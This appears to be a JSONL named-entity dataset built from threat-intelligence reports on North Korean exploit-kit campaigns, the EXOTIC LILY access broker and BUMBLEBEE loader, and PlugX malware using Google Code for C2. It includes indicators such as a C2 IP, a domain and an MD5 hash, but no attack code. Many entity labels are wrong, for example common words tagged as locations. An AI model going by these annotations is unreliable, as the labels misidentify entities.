year.","entities":[{"id":18605,"label":"location","start_offset":62,"end_offset":70},{"id":18606,"label":"location","start_offset":81,"end_offset":89}],"relations":[],"Comments":[]} {"id":6027,"text":"The exploit was patched on February 14, 2022.","entities":[],"relations":[],"Comments":[]} {"id":6028,"text":"The earliest evidence we have of this exploit kit being actively deployed is January 4, 2022.","entities":[],"relations":[],"Comments":[]} -{"id":6029,"text":"We suspect that these groups work for the same entity with a shared supply chain, hence the use of the same exploit kit, but each operate with a different mission set and deploy different techniques.","entities":[{"id":18610,"label":"location","start_offset":42,"end_offset":46},{"id":18611,"label":"location","start_offset":68,"end_offset":74},{"id":18612,"label":"location","start_offset":103,"end_offset":107},{"id":18613,"label":"location","start_offset":155,"end_offset":162},{"id":18614,"label":"location","start_offset":167,"end_offset":170}],"relations":[],"Comments":[]} -{"id":6030,"text":"It is possible that other North Korean government-backed attackers have access to the same exploit kit.","entities":[{"id":18616,"label":"location","start_offset":86,"end_offset":90}],"relations":[],"Comments":[]} -{"id":6031,"text":"In this blog, we will walk through the observed tactics, techniques and procedures, share relevant IOCs and analyze the exploit kit used by the attackers.","entities":[{"id":18617,"label":"location","start_offset":17,"end_offset":21},{"id":18618,"label":"location","start_offset":68,"end_offset":71},{"id":18619,"label":"location","start_offset":104,"end_offset":107}],"relations":[],"Comments":[]} -{"id":6032,"text":"In line with our current disclosure policy, we are providing these details 30 days after the patch release.","entities":[{"id":18620,"label":"location","start_offset":47,"end_offset":50}],"relations":[],"Comments":[]} -{"id":6033,"text":"The campaign, consistent with Operation Dream Job, targeted over 250 individuals working for 10 different news media, domain registrars, web hosting providers and software vendors.","entities":[{"id":18622,"label":"location","start_offset":4,"end_offset":12},{"id":18626,"label":"location","start_offset":111,"end_offset":116},{"id":18627,"label":"location","start_offset":159,"end_offset":162}],"relations":[],"Comments":[]} -{"id":6034,"text":"The targets received emails claiming to come from recruiters at Disney, Google and Oracle with fake potential job opportunities.","entities":[{"id":18630,"label":"location","start_offset":79,"end_offset":82},{"id":18632,"label":"location","start_offset":110,"end_offset":113}],"relations":[],"Comments":[]} -{"id":6035,"text":"The emails contained links spoofing legitimate job hunting websites like Indeed and ZipRecruiter.","entities":[{"id":18633,"label":"location","start_offset":47,"end_offset":50},{"id":18634,"label":"location","start_offset":51,"end_offset":58},{"id":18636,"label":"location","start_offset":80,"end_offset":83}],"relations":[],"Comments":[]} {"id":6036,"text":"Victims who clicked on the links would be served a hidden iframe that would trigger the exploit kit.","entities":[],"relations":[],"Comments":[]} -{"id":6037,"text":"Attacker-Owned Fake Job Domains: Exploitation URLs:","entities":[{"id":18638,"label":"location","start_offset":20,"end_offset":23}],"relations":[],"Comments":[]} -{"id":6038,"text":"Another North Korean group, whose activity has been publicly tracked as Operation AppleJeus, targeted over 85 users in cryptocurrency and fintech industries leveraging the same exploit kit.","entities":[{"id":18642,"label":"location","start_offset":134,"end_offset":137},{"id":18643,"label":"location","start_offset":172,"end_offset":176}],"relations":[],"Comments":[]} -{"id":6039,"text":"This included compromising at least two legitimate fintech company websites and hosting hidden iframes to serve the exploit kit to visitors.","entities":[{"id":18645,"label":"location","start_offset":76,"end_offset":79}],"relations":[],"Comments":[]} -{"id":6040,"text":"In other cases, we observed fake websites — already set up to distribute trojanized cryptocurrency applications — hosting iframes and pointing their visitors to the exploit kit.","entities":[{"id":18646,"label":"location","start_offset":130,"end_offset":133}],"relations":[],"Comments":[]} {"id":6041,"text":"Attacker-Owned Websites: Compromised Websites (Feb 7 - Feb 9): Exploitation URLs:","entities":[],"relations":[],"Comments":[]} -{"id":6042,"text":"The attackers made use of an exploit kit that contained multiple stages and components in order to exploit targeted users.","entities":[{"id":18648,"label":"location","start_offset":14,"end_offset":18},{"id":18649,"label":"location","start_offset":72,"end_offset":75}],"relations":[],"Comments":[]} {"id":6043,"text":"The attackers placed links to the exploit kit within hidden iframes, which they embedded on both websites they owned as well as some websites they compromised.","entities":[],"relations":[],"Comments":[]} -{"id":6044,"text":"The kit initially serves some heavily obfuscated javascript used to fingerprint the target system.","entities":[{"id":18650,"label":"location","start_offset":84,"end_offset":90}],"relations":[],"Comments":[]} -{"id":6045,"text":"This script collected all available client information such as the user-agent, resolution, etc. and then sent it back to the exploitation server.","entities":[{"id":18651,"label":"location","start_offset":96,"end_offset":99}],"relations":[],"Comments":[]} -{"id":6046,"text":"If a set of unknown requirements were met, the client would be served a Chrome RCE exploit and some additional javascript.","entities":[{"id":18652,"label":"location","start_offset":91,"end_offset":94}],"relations":[],"Comments":[]} {"id":6047,"text":"If the RCE was successful, the javascript would request the next stage referenced within the script as “SBX”, a common acronym for Sandbox Escape.","entities":[{"id":18653,"label":"malware","start_offset":119,"end_offset":126}],"relations":[],"Comments":[]} {"id":6048,"text":"We unfortunately were unable to recover any of the stages that followed the initial RCE.","entities":[],"relations":[],"Comments":[]} -{"id":6049,"text":"Careful to protect their exploits, the attackers deployed multiple safeguards to make it difficult for security teams to recover any of the stages.","entities":[{"id":18655,"label":"location","start_offset":103,"end_offset":111}],"relations":[],"Comments":[]} -{"id":6050,"text":"These safeguards included: Although we recovered a Chrome RCE, we also found evidence where the attackers specifically checked for visitors using Safari on MacOS or Firefox (on any OS), and directed them to specific links on known exploitation servers.","entities":[{"id":18656,"label":"location","start_offset":186,"end_offset":189},{"id":18657,"label":"location","start_offset":199,"end_offset":203}],"relations":[],"Comments":[]} {"id":6051,"text":"We did not recover any responses from those URLs.","entities":[],"relations":[],"Comments":[]} {"id":6052,"text":"Example Exploit Kit:","entities":[],"relations":[],"Comments":[]} -{"id":6053,"text":"The attackers made multiple attempts to use the exploit days after the vulnerability was patched on February 14, which stresses the importance of applying security updates as they become available.","entities":[{"id":18658,"label":"location","start_offset":14,"end_offset":18},{"id":18661,"label":"location","start_offset":155,"end_offset":163}],"relations":[],"Comments":[]} {"id":6054,"text":"As part of our efforts to combat serious threat actors, we use results of our research to improve the safety and security of our products.","entities":[{"id":18662,"label":"tools","start_offset":102,"end_offset":108},{"id":18663,"label":"location","start_offset":109,"end_offset":112},{"id":18664,"label":"location","start_offset":113,"end_offset":121}],"relations":[],"Comments":[]} -{"id":6055,"text":"Upon discovery, all identified websites and domains were added to Safe Browsing to protect users from further exploitation.","entities":[{"id":18665,"label":"location","start_offset":40,"end_offset":43}],"relations":[],"Comments":[]} -{"id":6056,"text":"We also sent all targeted Gmail and Workspace users government-backed attacker alerts notifying them of the activity.","entities":[{"id":18668,"label":"location","start_offset":32,"end_offset":35},{"id":18669,"label":"location","start_offset":96,"end_offset":100}],"relations":[],"Comments":[]} -{"id":6057,"text":"We encourage any potential targets to enable Enhanced Safe Browsing for Chrome and ensure that all devices are updated.","entities":[{"id":18670,"label":"location","start_offset":54,"end_offset":58},{"id":18671,"label":"location","start_offset":79,"end_offset":82},{"id":18672,"label":"location","start_offset":107,"end_offset":110}],"relations":[],"Comments":[]} -{"id":6058,"text":"TAG is committed to sharing our findings as a way of raising awareness with the security community, and with companies and individuals that might have been targeted or suffered from these activities.","entities":[{"id":18674,"label":"location","start_offset":46,"end_offset":49},{"id":18675,"label":"location","start_offset":80,"end_offset":88},{"id":18676,"label":"location","start_offset":89,"end_offset":98},{"id":18677,"label":"location","start_offset":100,"end_offset":103},{"id":18678,"label":"location","start_offset":119,"end_offset":122}],"relations":[],"Comments":[]} {"id":6059,"text":"We hope that improved understanding of the tactics and techniques will enhance threat hunting capability and lead to stronger user protections across industry.","entities":[{"id":18679,"label":"location","start_offset":3,"end_offset":7},{"id":18680,"label":"location","start_offset":51,"end_offset":54},{"id":18681,"label":"location","start_offset":66,"end_offset":70},{"id":18682,"label":"location","start_offset":86,"end_offset":93},{"id":18683,"label":"location","start_offset":105,"end_offset":108},{"id":18684,"label":"threat-actor","start_offset":109,"end_offset":113},{"id":18685,"label":"location","start_offset":150,"end_offset":158}],"relations":[],"Comments":[]} {"id":6060,"text":"In early September 2021, Threat Analysis Group (TAG) observed a financially motivated threat actor we refer to as EXOTIC LILY, exploiting a 0day in Microsoft MSHTML (CVE-2021-40444).","entities":[{"id":18689,"label":"threat-actor","start_offset":114,"end_offset":125},{"id":18691,"label":"location","start_offset":175,"end_offset":180}],"relations":[],"Comments":[]} {"id":6061,"text":"Investigating this group's activity, we determined they are an Initial Access Broker (IAB) who appear to be working with the Russian cyber crime gang known as FIN12 (Mandiant, FireEye) \/ WIZARD SPIDER (CrowdStrike).","entities":[{"id":18692,"label":"location","start_offset":56,"end_offset":59},{"id":18697,"label":"threat-actor","start_offset":187,"end_offset":200},{"id":18698,"label":"identity","start_offset":202,"end_offset":213}],"relations":[],"Comments":[]} -{"id":6062,"text":"Initial access brokers are the opportunistic locksmiths of the security world, and it’s a full-time job.","entities":[{"id":18699,"label":"location","start_offset":23,"end_offset":26},{"id":18700,"label":"location","start_offset":63,"end_offset":71},{"id":18701,"label":"location","start_offset":72,"end_offset":77},{"id":18702,"label":"location","start_offset":79,"end_offset":82},{"id":18703,"label":"location","start_offset":95,"end_offset":99},{"id":18704,"label":"location","start_offset":100,"end_offset":103}],"relations":[],"Comments":[]} -{"id":6063,"text":"These groups specialize in breaching a target in order to open the doors—or the Windows—to the malicious actor with the highest bid.","entities":[{"id":18705,"label":"location","start_offset":39,"end_offset":45}],"relations":[],"Comments":[]} {"id":6064,"text":"EXOTIC LILY is a resourceful, financially motivated group whose activities appear to be closely linked with data exfiltration and deployment of human-operated ransomware such as Conti and Diavol.","entities":[{"id":18707,"label":"location","start_offset":126,"end_offset":129},{"id":18708,"label":"threat-actor","start_offset":178,"end_offset":183},{"id":18709,"label":"location","start_offset":184,"end_offset":187}],"relations":[],"Comments":[]} -{"id":6065,"text":"At the peak of EXOTIC LILY’s activity, we estimate they were sending more than 5,000 emails a day, to as many as 650 targeted organizations globally.","entities":[{"id":18711,"label":"location","start_offset":7,"end_offset":11},{"id":18714,"label":"location","start_offset":94,"end_offset":97}],"relations":[],"Comments":[]} -{"id":6066,"text":"Up until November 2021, the group seemed to be targeting specific industries such as IT, cybersecurity and healthcare, but as of late we have seen them attacking a wide variety of organizations and industries, with less specific focus.","entities":[{"id":18717,"label":"location","start_offset":103,"end_offset":106},{"id":18718,"label":"location","start_offset":147,"end_offset":151},{"id":18719,"label":"location","start_offset":194,"end_offset":197}],"relations":[],"Comments":[]} -{"id":6067,"text":"We have observed this threat actor deploying tactics, techniques and procedures (TTPs) that are traditionally associated with more targeted attacks, like spoofing companies and employees as a means of gaining trust of a targeted organization through email campaigns that are believed to be sent by real human operators using little-to-no automation.","entities":[{"id":18720,"label":"location","start_offset":65,"end_offset":68},{"id":18721,"label":"location","start_offset":92,"end_offset":95},{"id":18722,"label":"location","start_offset":173,"end_offset":176},{"id":18723,"label":"location","start_offset":192,"end_offset":197},{"id":18724,"label":"location","start_offset":209,"end_offset":214},{"id":18725,"label":"location","start_offset":271,"end_offset":274},{"id":18726,"label":"location","start_offset":298,"end_offset":302},{"id":18727,"label":"location","start_offset":325,"end_offset":331}],"relations":[],"Comments":[]} {"id":6068,"text":"Additionally and rather uniquely, they leverage legitimate file-sharing services like WeTransfer, TransferNow and OneDrive to deliver the payload, further evading detection mechanisms.","entities":[{"id":18728,"label":"location","start_offset":13,"end_offset":16},{"id":18729,"label":"malware","start_offset":39,"end_offset":47},{"id":18732,"label":"location","start_offset":110,"end_offset":113}],"relations":[],"Comments":[]} {"id":6069,"text":"This level of human-interaction is rather unusual for cyber crime groups focused on mass scale operations.","entities":[],"relations":[],"Comments":[]} {"id":6070,"text":"EXOTIC LILY’s attack chain has remained relatively consistent throughout the time we’ve been tracking the group: One notable technique is the use of domain and identity spoofing as a way of gaining additional credibility with a targeted organization.","entities":[{"id":18735,"label":"location","start_offset":77,"end_offset":81},{"id":18737,"label":"location","start_offset":156,"end_offset":159},{"id":18738,"label":"attack-pattern","start_offset":160,"end_offset":177},{"id":18739,"label":"location","start_offset":183,"end_offset":186}],"relations":[],"Comments":[]} -{"id":6071,"text":"In the majority of cases, a spoofed domain name was identical to a real domain name of an existing organization, with the only difference being a change of TLD to “.us”, “.co” or “.biz”.","entities":[{"id":18740,"label":"location","start_offset":67,"end_offset":71},{"id":18741,"label":"location","start_offset":122,"end_offset":126}],"relations":[],"Comments":[]} -{"id":6072,"text":"Initially, the group would create entirely fake personas posing as employees of a real company.","entities":[{"id":18742,"label":"location","start_offset":82,"end_offset":86}],"relations":[],"Comments":[]} -{"id":6073,"text":"That would sometimes consist of creating social media profiles, personal websites and generating a fake profile picture using a public service to create an AI-generated human face.","entities":[{"id":18743,"label":"location","start_offset":48,"end_offset":53},{"id":18744,"label":"location","start_offset":82,"end_offset":85},{"id":18745,"label":"location","start_offset":128,"end_offset":134}],"relations":[],"Comments":[]} -{"id":6074,"text":"In November 2021, the group began to impersonate real company employees by copying their personal data from social media and business databases such as RocketReach and CrunchBase.","entities":[{"id":18747,"label":"location","start_offset":49,"end_offset":53},{"id":18748,"label":"location","start_offset":115,"end_offset":120},{"id":18749,"label":"location","start_offset":121,"end_offset":124},{"id":18751,"label":"location","start_offset":164,"end_offset":167}],"relations":[],"Comments":[]} {"id":6075,"text":"Using spoofed email accounts, attackers would then send spear phishing emails under the pretext of a business proposal, such as seeking to outsource a software development project or an information security service.","entities":[{"id":18753,"label":"attack-pattern","start_offset":56,"end_offset":70},{"id":18754,"label":"location","start_offset":198,"end_offset":206}],"relations":[],"Comments":[]} -{"id":6076,"text":"Attackers would sometimes engage in further communication with the target by attempting to schedule a meeting to discuss the project's design or requirements.","entities":[{"id":18755,"label":"location","start_offset":67,"end_offset":73}],"relations":[],"Comments":[]} -{"id":6077,"text":"At the final stage, the attacker would upload the payload to a public file-sharing service (TransferNow, TransferXL, WeTransfer or OneDrive) and then use a built-in email notification feature to share the file with the target, allowing the final email to originate from the email address of a legitimate file-sharing service and not the attacker’s email, which presents additional detection challenges.","entities":[{"id":18756,"label":"location","start_offset":63,"end_offset":69},{"id":18761,"label":"location","start_offset":141,"end_offset":144},{"id":18762,"label":"location","start_offset":219,"end_offset":225},{"id":18763,"label":"location","start_offset":325,"end_offset":328}],"relations":[],"Comments":[]} -{"id":6078,"text":"Further evidence suggests an operator’s responsibilities might include: A breakdown of the actor’s communication activity shows the operators are working a fairly typical 9-to-5 job, with very little activity during the weekends.","entities":[{"id":18764,"label":"location","start_offset":142,"end_offset":145},{"id":18765,"label":"location","start_offset":178,"end_offset":181},{"id":18766,"label":"location","start_offset":193,"end_offset":199}],"relations":[],"Comments":[]} {"id":6079,"text":"Distribution of the actor’s working hours suggest they might be working from a Central or an Eastern Europe timezone.","entities":[],"relations":[],"Comments":[]} -{"id":6080,"text":"Although the group came to our attention initially due to its use of documents containing an exploit for CVE-2021-40444, they later switched to the delivery of ISO files with hidden BazarLoader DLLs and LNK shortcuts.","entities":[{"id":18770,"label":"location","start_offset":114,"end_offset":119},{"id":18771,"label":"location","start_offset":199,"end_offset":202}],"relations":[],"Comments":[]} {"id":6081,"text":"These samples have some indicators that suggest they were custom-built to be used by the group.","entities":[],"relations":[],"Comments":[]} -{"id":6082,"text":"For example, metadata embedded in the LNK shortcuts shows that a number of fields, such as the “Machine Identifier” and “Drive Serial Number” were shared with BazarLoader ISOs distributed via other means, however other fields such as the command line arguments were unique for samples distributed by EXOTIC LILY.","entities":[{"id":18772,"label":"location","start_offset":75,"end_offset":81},{"id":18773,"label":"location","start_offset":116,"end_offset":119},{"id":18774,"label":"location","start_offset":198,"end_offset":203},{"id":18775,"label":"location","start_offset":219,"end_offset":225}],"relations":[],"Comments":[]} -{"id":6083,"text":"In March, the group continued delivering ISO files, but with a DLL containing a custom loader which is a more advanced variant of a first-stage payload previously seen during CVE-2021-40444 exploitation.","entities":[{"id":18779,"label":"location","start_offset":184,"end_offset":189}],"relations":[],"Comments":[]} {"id":6084,"text":"The loader can be recognized by its use of a unique user-agent “bumblebee” which both variants share.","entities":[{"id":18780,"label":"location","start_offset":11,"end_offset":14},{"id":18781,"label":"malware","start_offset":64,"end_offset":73}],"relations":[],"Comments":[]} {"id":6085,"text":"The malware, hence dubbed BUMBLEBEE, uses WMI to collect various system details such as OS version, user name and domain name, which are then exfiltrated in JSON format to a C2.","entities":[{"id":18782,"label":"malware","start_offset":26,"end_offset":35},{"id":18783,"label":"location","start_offset":110,"end_offset":113},{"id":18784,"label":"location","start_offset":133,"end_offset":136}],"relations":[],"Comments":[]} -{"id":6086,"text":"In response, it expects to receive one of the several supported “tasks”, which include execution of shellcode, dropping and running executable files.","entities":[{"id":18785,"label":"location","start_offset":35,"end_offset":38},{"id":18786,"label":"location","start_offset":120,"end_offset":123}],"relations":[],"Comments":[]} {"id":6087,"text":"At the time of the analysis, BUMBLEBEE was observed to fetch Cobalt Strike payloads.","entities":[{"id":18787,"label":"location","start_offset":7,"end_offset":11},{"id":18788,"label":"malware","start_offset":29,"end_offset":38}],"relations":[],"Comments":[]} -{"id":6088,"text":"This malware can be found using this VirusTotal query.","entities":[{"id":18790,"label":"location","start_offset":13,"end_offset":16}],"relations":[],"Comments":[]} {"id":6089,"text":"EXOTIC LILY activities overlap with a group tracked as DEV-0413 (Microsoft) and were also described by Abnormal in their recent post.","entities":[{"id":18792,"label":"threat-actor","start_offset":0,"end_offset":11},{"id":18793,"label":"threat-actor","start_offset":55,"end_offset":63},{"id":18795,"label":"location","start_offset":76,"end_offset":79},{"id":18797,"label":"location","start_offset":128,"end_offset":132}],"relations":[],"Comments":[]} -{"id":6090,"text":"Earlier reports of attacks exploiting CVE-2021-40444 (by Microsoft and other members of the security community) have also indicated overlaps between domains involved in the delivery chain of an exploit and infrastructure used for BazarLoader and Trickbot distribution.","entities":[{"id":18798,"label":"location","start_offset":47,"end_offset":52},{"id":18800,"label":"location","start_offset":67,"end_offset":70},{"id":18801,"label":"location","start_offset":92,"end_offset":100},{"id":18802,"label":"location","start_offset":101,"end_offset":110},{"id":18803,"label":"location","start_offset":141,"end_offset":148},{"id":18804,"label":"location","start_offset":202,"end_offset":205},{"id":18806,"label":"location","start_offset":242,"end_offset":245}],"relations":[],"Comments":[]} {"id":6091,"text":"We believe the shift to deliver BazarLoader, along with some other indicators such as a unique Cobalt Strike profile (described by RiskIQ) further confirms the existence of a relationship between EXOTIC LILY and actions of a Russian cyber crime group tracked as WIZARD SPIDER (CrowdStrike), FIN12 (Mandiant, FireEye) and DEV-0193 (Microsoft).","entities":[{"id":18809,"label":"location","start_offset":45,"end_offset":50},{"id":18812,"label":"location","start_offset":188,"end_offset":195},{"id":18814,"label":"location","start_offset":208,"end_offset":211},{"id":18818,"label":"threat-actor","start_offset":291,"end_offset":296},{"id":18821,"label":"location","start_offset":317,"end_offset":320}],"relations":[],"Comments":[]} -{"id":6092,"text":"While the nature of those relationships remains unclear, EXOTIC LILY seems to operate as a separate entity, focusing on acquiring initial access through email campaigns, with follow-up activities that include deployment of Conti and Diavol ransomware, which are performed by a different set of actors.","entities":[{"id":18826,"label":"location","start_offset":229,"end_offset":232},{"id":18828,"label":"location","start_offset":258,"end_offset":261}],"relations":[],"Comments":[]} {"id":6093,"text":"As part of our efforts to combat serious threat actors, we use results of our research to improve the safety and security of our products.","entities":[{"id":18829,"label":"tools","start_offset":102,"end_offset":108},{"id":18830,"label":"location","start_offset":109,"end_offset":112},{"id":18831,"label":"location","start_offset":113,"end_offset":121}],"relations":[],"Comments":[]} -{"id":6094,"text":"In collaboration with Gmail and Safe Browsing, we are improving protections by adding additional warnings for emails originating from website contact forms, better identification of spoofing, and adjusting the reputation of email file sharing notifications.","entities":[{"id":18833,"label":"location","start_offset":28,"end_offset":31},{"id":18835,"label":"location","start_offset":50,"end_offset":53},{"id":18836,"label":"location","start_offset":142,"end_offset":149},{"id":18837,"label":"location","start_offset":192,"end_offset":195}],"relations":[],"Comments":[]} -{"id":6095,"text":"Additionally, we’re working with Google’s CyberCrime Investigation Group to share relevant details and indicators with law enforcement.","entities":[{"id":18840,"label":"location","start_offset":99,"end_offset":102},{"id":18841,"label":"location","start_offset":119,"end_offset":122}],"relations":[],"Comments":[]} -{"id":6096,"text":"TAG is committed to sharing our findings as a way of raising awareness with the security community, and with companies and individuals that might have been targeted or suffered from this threat actor’s activities.","entities":[{"id":18843,"label":"location","start_offset":46,"end_offset":49},{"id":18844,"label":"location","start_offset":80,"end_offset":88},{"id":18845,"label":"location","start_offset":89,"end_offset":98},{"id":18846,"label":"location","start_offset":100,"end_offset":103},{"id":18847,"label":"location","start_offset":119,"end_offset":122}],"relations":[],"Comments":[]} -{"id":6097,"text":"We hope that improved understanding of the group’s tactics and techniques will enhance threat hunting capability and lead to stronger user protections across industry.","entities":[{"id":18848,"label":"location","start_offset":3,"end_offset":7},{"id":18849,"label":"location","start_offset":59,"end_offset":62},{"id":18850,"label":"location","start_offset":74,"end_offset":78},{"id":18851,"label":"location","start_offset":94,"end_offset":101},{"id":18852,"label":"location","start_offset":113,"end_offset":116},{"id":18853,"label":"location","start_offset":117,"end_offset":121},{"id":18854,"label":"location","start_offset":158,"end_offset":166}],"relations":[],"Comments":[]} {"id":6098,"text":"Recent domains used in email campaigns: BazarLoader ISO samples: Recent BUMBLEBEE ISO samples: Recent BUMBLEBEE C2:","entities":[{"id":18855,"label":"malware","start_offset":72,"end_offset":81},{"id":18856,"label":"malware","start_offset":102,"end_offset":111}],"relations":[],"Comments":[]} {"id":6099,"text":"Recently, FireEye published a blog titled “Operation Poisoned Hurricane” which detailed the use of PlugX malware variants signed with legitimate certificates that used Google Code project pages for command and control (C2).","entities":[{"id":18858,"label":"location","start_offset":62,"end_offset":71},{"id":18859,"label":"malware","start_offset":99,"end_offset":104},{"id":18860,"label":"location","start_offset":206,"end_offset":209}],"relations":[],"Comments":[]} {"id":6100,"text":"We were able to uncover multiple additional samples exploiting the same technique as well as an additional Google Code account with multiple projects containing encoded commands.","entities":[{"id":18861,"label":"tools","start_offset":16,"end_offset":23},{"id":18862,"label":"location","start_offset":67,"end_offset":71}],"relations":[],"Comments":[]} @@ -3183,346 +4804,146 @@ {"id":6103,"text":" Of note, three of the Google Code projects associated with the newly uncovered account were added during the past few days, indicating it is still in active use. Below is a current screenshot of the newly uncovered Google Code account’s projects.","entities":[],"relations":[],"Comments":[]} {"id":6104,"text":" The encoded commands decode to the below IP addresses.","entities":[],"relations":[],"Comments":[]} {"id":6105,"text":"Interestingly, “\/p\/pthon”, which is the project page used by some of the newly discovered samples detailed later in this blog, is the only page with the encoded command not included in the summary and is instead in text only on the page itself.","entities":[{"id":18878,"label":"tools","start_offset":48,"end_offset":52},{"id":18879,"label":"location","start_offset":134,"end_offset":138},{"id":18880,"label":"malware","start_offset":139,"end_offset":143},{"id":18881,"label":"location","start_offset":197,"end_offset":200},{"id":18882,"label":"location","start_offset":220,"end_offset":224},{"id":18883,"label":"tools","start_offset":232,"end_offset":236}],"relations":[],"Comments":[]} -{"id":6106,"text":"The three pages created since we discovered this user are admmmomn, eyewheye, and joompler.","entities":[{"id":18885,"label":"location","start_offset":54,"end_offset":57},{"id":18886,"label":"location","start_offset":78,"end_offset":81}],"relations":[],"Comments":[]} {"id":6107,"text":" Table 1 We discovered a total of seven samples, five of which were not in VirusTotal prior to our submission.","entities":[],"relations":[],"Comments":[]} {"id":6108,"text":"Table 2 contains details of a PlugX sample using the PixelPlus Co., Ltd certificate that is currently only detected by four AV vendors.","entities":[{"id":18892,"label":"malware","start_offset":30,"end_offset":35},{"id":18893,"label":"location","start_offset":36,"end_offset":42},{"id":18895,"label":"location","start_offset":102,"end_offset":106}],"relations":[],"Comments":[]} -{"id":6109,"text":"It has been in use in the wild since at least early June and is the earliest sample related to this activity our team has so far found.","entities":[{"id":18898,"label":"location","start_offset":57,"end_offset":60},{"id":18899,"label":"location","start_offset":77,"end_offset":83}],"relations":[],"Comments":[]} -{"id":6110,"text":"It was targeted against a major university.","entities":[{"id":18900,"label":"location","start_offset":26,"end_offset":31},{"id":18901,"label":"location","start_offset":32,"end_offset":42}],"relations":[],"Comments":[]} -{"id":6111,"text":"It uses one of the Google Code pages noted in FireEye’s blog, “\/p\/updata-server”, but had a different C2 redirect, noted below.","entities":[{"id":18902,"label":"location","start_offset":8,"end_offset":11}],"relations":[],"Comments":[]} {"id":6112,"text":"Interestingly, the IP resolved by the initial website hosting the PlugX malware also served as a C2 server for different malware in mid-December 2013 (MD5: ddd46ce5e5eaaa8e61ce11a121a79266).","entities":[{"id":18905,"label":"malware","start_offset":66,"end_offset":71},{"id":18907,"label":"MD5","start_offset":156,"end_offset":188}],"relations":[],"Comments":[]} -{"id":6113,"text":"At that time the C2 server was qq7712409.3322[.]org.","entities":[{"id":18908,"label":"location","start_offset":8,"end_offset":12}],"relations":[],"Comments":[]} {"id":6114,"text":"Table 2 ","entities":[],"relations":[],"Comments":[]} {"id":6115,"text":"The PlugX sample in Table 3 also uses the legitimate PixelPlus Co., Ltd certificate and was also targeted against the university.","entities":[{"id":18910,"label":"tools","start_offset":4,"end_offset":9},{"id":18911,"label":"location","start_offset":10,"end_offset":16},{"id":18914,"label":"location","start_offset":84,"end_offset":87},{"id":18915,"label":"location","start_offset":118,"end_offset":128}],"relations":[],"Comments":[]} -{"id":6116,"text":"This sample was not represented in VirusTotal.","entities":[{"id":18916,"label":"location","start_offset":5,"end_offset":11}],"relations":[],"Comments":[]} {"id":6117,"text":"It is correctly identified by eleven AV vendors as PlugX malware.","entities":[{"id":18919,"label":"malware","start_offset":51,"end_offset":56}],"relations":[],"Comments":[]} -{"id":6118,"text":"In addition, it also used the same Google Code page and redirect as the previous sample.","entities":[{"id":18920,"label":"location","start_offset":30,"end_offset":34},{"id":18922,"label":"location","start_offset":47,"end_offset":51},{"id":18923,"label":"location","start_offset":52,"end_offset":55},{"id":18924,"label":"location","start_offset":81,"end_offset":87}],"relations":[],"Comments":[]} {"id":6119,"text":"The registrant information associated with the website hosting the malware is a domain reseller.","entities":[],"relations":[],"Comments":[]} {"id":6120,"text":" Table 3 ","entities":[],"relations":[],"Comments":[]} {"id":6121,"text":"We were able to uncover an additional two samples using the QTI International Inc certificate and Google Code pages.","entities":[{"id":18926,"label":"tools","start_offset":16,"end_offset":23},{"id":18929,"label":"location","start_offset":94,"end_offset":97}],"relations":[],"Comments":[]} -{"id":6122,"text":"The first sample in the below table was not in VirusTotal and targeted the same university as the previous samples.","entities":[{"id":18932,"label":"location","start_offset":10,"end_offset":16},{"id":18934,"label":"location","start_offset":58,"end_offset":61},{"id":18935,"label":"location","start_offset":75,"end_offset":79},{"id":18936,"label":"location","start_offset":80,"end_offset":90}],"relations":[],"Comments":[]} {"id":6123,"text":"Only three AV vendors correctly identified it as PlugX malware.","entities":[{"id":18938,"label":"malware","start_offset":49,"end_offset":54}],"relations":[],"Comments":[]} {"id":6124,"text":" Table 4 The second sample using the QTI International Inc certificate also uses IP 211.233.89.182 for C2 but does not first connect to a Google Code page and is not PlugX.","entities":[{"id":18941,"label":"location","start_offset":21,"end_offset":27},{"id":18943,"label":"IPV4","start_offset":85,"end_offset":99},{"id":18944,"label":"tools","start_offset":151,"end_offset":155},{"id":18945,"label":"location","start_offset":156,"end_offset":159}],"relations":[],"Comments":[]} -{"id":6125,"text":"Instead it contained two separate Trojans; one known as Cudofows.A by Microsoft, and one only detected by two AV vendors in VirusTotal known as Backdoor.Win32.Miancha.f by Kaspersky.","entities":[{"id":18948,"label":"location","start_offset":43,"end_offset":46},{"id":18950,"label":"location","start_offset":81,"end_offset":84},{"id":18952,"label":"location","start_offset":89,"end_offset":93}],"relations":[],"Comments":[]} -{"id":6126,"text":"This malware also targeted the university.","entities":[{"id":18956,"label":"location","start_offset":31,"end_offset":41}],"relations":[],"Comments":[]} {"id":6127,"text":"Of note, the PlugX sample in Table 8 uses a different certificate but was downloaded from the same website.","entities":[{"id":18957,"label":"tools","start_offset":13,"end_offset":18},{"id":18958,"label":"location","start_offset":19,"end_offset":25},{"id":18960,"label":"location","start_offset":94,"end_offset":98}],"relations":[],"Comments":[]} {"id":6128,"text":"It also uses the Google Code page “\/p\/tempzz” for C2, which was also listed in FireEye’s blog.","entities":[{"id":18961,"label":"malware","start_offset":29,"end_offset":33}],"relations":[],"Comments":[]} {"id":6129,"text":" The website hosting the malware was registered 4 June 2014 via eNom, a well-known domain name registrar.","entities":[],"relations":[],"Comments":[]} -{"id":6130,"text":"The registrant address is labtestshowlong[@]outlook.com, which has not been used to register any other domains as of 14 August.","entities":[{"id":18965,"label":"location","start_offset":84,"end_offset":92}],"relations":[],"Comments":[]} {"id":6131,"text":"Table 5 ","entities":[],"relations":[],"Comments":[]} {"id":6132,"text":"Our team was able to further uncover three new samples using the Ssanyong Motor Co., Ltd certificate and Google Code C2 redirection.","entities":[{"id":18968,"label":"tools","start_offset":29,"end_offset":36},{"id":18971,"label":"location","start_offset":101,"end_offset":104}],"relations":[],"Comments":[]} -{"id":6133,"text":"None of these were in VirusTotal.","entities":[{"id":18972,"label":"location","start_offset":0,"end_offset":4}],"relations":[],"Comments":[]} -{"id":6134,"text":"The below sample also uses the Google Code page “\/p\/pthon”, which was newly uncovered during this research.","entities":[{"id":18974,"label":"location","start_offset":10,"end_offset":16}],"relations":[],"Comments":[]} {"id":6135,"text":"The PlugX sample in Table 4 used the same Google Code page and redirect, but the QTI International Inc certificate.","entities":[{"id":18976,"label":"malware","start_offset":4,"end_offset":9},{"id":18977,"label":"location","start_offset":10,"end_offset":16},{"id":18979,"label":"location","start_offset":37,"end_offset":41},{"id":18980,"label":"tools","start_offset":54,"end_offset":58},{"id":18981,"label":"location","start_offset":59,"end_offset":62}],"relations":[],"Comments":[]} {"id":6136,"text":"The below PlugX sample was only detected as PlugX malware by two AV 